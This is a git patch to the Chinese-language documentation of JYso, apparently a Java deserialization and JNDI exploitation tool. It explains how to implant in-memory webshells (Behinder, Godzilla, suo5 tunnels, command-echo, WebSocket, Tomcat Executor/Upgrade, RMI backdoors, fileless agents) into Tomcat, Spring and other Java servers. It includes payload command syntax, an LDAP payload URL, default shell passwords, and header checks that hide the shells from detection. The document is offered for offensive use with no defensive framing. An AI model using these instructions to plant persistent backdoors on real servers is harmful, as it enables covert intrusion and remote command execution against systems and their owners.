From e40fb13160d644b61a65320c557c14c598931367 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Thu, 10 Oct 2024 19:48:23 +0800 Subject: [PATCH] =?UTF-8?q?Updated=205=E3=80=81Java=20Mem=20Shell=20(markd?= =?UTF-8?q?own)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 5、Java-Mem-Shell.md | 83 +++++++++++++++++++++++++++++++++++++++----- 1 file changed, 75 insertions(+), 8 deletions(-) diff --git a/5、Java-Mem-Shell.md b/5、Java-Mem-Shell.md index b57300d..8d18253 100644 --- a/5、Java-Mem-Shell.md +++ b/5、Java-Mem-Shell.md @@ -1,12 +1,5 @@ # 使用参数 -解决 Shiro Header 头部过长问题: - -- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载 - -在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 -从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 - 内存马: - 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马 @@ -46,4 +39,78 @@ ldap://127.0.0.1:1389/[Controller]/[M-EX-MS-MemShellClass-...]/shell/base64param + ysoserial ``` java -jar JYso-[version].jar -y -g [Gadget] -p "[EX-MS-MemShellClass]" -``` \ No newline at end of file +``` + +# 使用说明 + +对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://QI4L.cn/ `,其次执行不同的逻辑: +这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://QI4L.cn/"` 来进行自定义指定。 + +1. 如果是 **CMD** 内存马,程序会从 `X-Token-Data` 中读取待执行的命令,并将执行结果进行回显,这个头部可以通过 `-ch "testecho"` 来指定。 + + ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240529163056.png) + +2. 如果是 **冰蝎** Shell 内存马,可使用冰蝎客户端进行连接管理,密码 `p@ssw0rd`, 可以通过 `-pw "1qaz@WSX"` 来指定。 + + ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530103348.png) + +3. 如果是 **哥斯拉** shell 内存马,可使用哥斯拉客户端进行连接管理,pass 值设为 `p@ssw0rd`,key 设为 `key`,哥斯拉内存马同时支持了 RAW 和 Base64,可以通过 `-pw "1qaz@WSX" -gzk "evilkey"` 来指定。 + + ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240529182352.png) + +4. 如果是 **suo5** 内存马,则会直接创建一个 suo5 隧道,可以直接由 suo5 客户端进行连接,suo5 目前对支持了对自定义 Header 头部进行鉴权,生成时可以通过参数 `-hk "User-Agent" -hv "aaaawww"` 指定,如下可正常连接: + + ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530113940.png) + + 在配置中进行配置。 + + ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530113948.png) + + 项目地址:[https://github.com/zema1/suo5](https://github.com/zema1/suo5),此项目还在积极更新中,会不定期更新相关代码支持相关功能。 + +5. 如果是 **WebSocket** 内存马,可使用 WebSocket 客户端进行链接,路径为 `/version.txt`,可以使用 `-u "/aaa"` 来指定。 + +6. 如果是 **Tomcat Executor** 内存马,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将执行结果在 Header `Server-token` 进行 Base64encode 回显,可以使用 `-ch "testecho"` 来指定。 + +7. 如果是 **Tomcat Upgrade** 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。 + +# 类型指定 + +目前支持的直打内存马的类型包括 Tomcat、Jetty、JBoss/Wildfly、Websphere、Resin、Spring。 + +并可以通过关键字指定内存马的类型,如冰蝎内存马、哥斯拉 Base64 内存马、哥斯拉 RAW 内存马、CMD 命令回显马等,使用方法例子如下: + +- `EX-MS-TSMSFromThread-bx`:`冰蝎` 逻辑内存马 +- `EX-MS-TSMSFromThread-gz`:`哥斯拉` Base64 逻辑内存马 +- `EX-MS-TSMSFromThread-gzraw`:`哥斯拉` RAW 逻辑内存马 +- `EX-MS-TSMSFromThread-cmd`:`CMD` 命令回显内存马 +- `EX-MS-TSMSFromThread-suo5`:`suo5` suo5 隧道马 + +另外还本项目目前支持了 Tocmat WebSocket、Upgrade 以及 Executor 命令执行内存马,暂未扩展成多种类型(因为相关工具不支持,需魔改),使用方法例子如下: + +- `EX-MS-TWSMSFromThread` : `CMD` 命令回显 WebSocket 内存马 +- `EX-MS-TEXMSFromThread` : `CMD` 命令回显 Executor 内存马 +- `EX-MS-TUGMSFromJMXuP` : `CMD` 命令回显 Upgrade 内存马 + +对于一些非常规的环境,本项目还提供了基于 Java 原生的 RMI 内存马及命令回显方式,通过向 RMI 注册中心绑定一个恶意类,可以随时调用执行命令并回显,使用方法例子如下: + +- `EX-MS-RMIBindTemplate-1100-qi4l`: `CMD` 命令回显 RMI 内存马 + +无文件落地的 Agent 型内存马,通过修改系统关键类字节码,植入内存马,无任何文件落地,全程在内存操作,能绕过多种防护和检测,使用方式 `EX-Agent-Lin/Win-Filter/Servlet-bx/gzraw/gz/cmd`,目前区分 Win/Lin 操作系统,并支持了 Servlet、Tomcat Filter 型内存马,将会持续更新一些 Hook 点,使用方式例如: + +- `EX-Agent-Lin-Filter-bx`:在 Linux 系统上对 Tomcat Filter 修改类字节码的冰蝎 Agent 型内存马 + +本工具支持的全部内存马经过测试可用,但实际受到中间件版本的限制。 + +# RMI Mem Shell + +对于 RMIBindTemplate +是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `com.qi4l.jndi.exploit.RMIBindExploit` +进行命令执行 + +# 解决 Shiro Header 头部过长问题: + +- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载 + +在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 +从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 \ No newline at end of file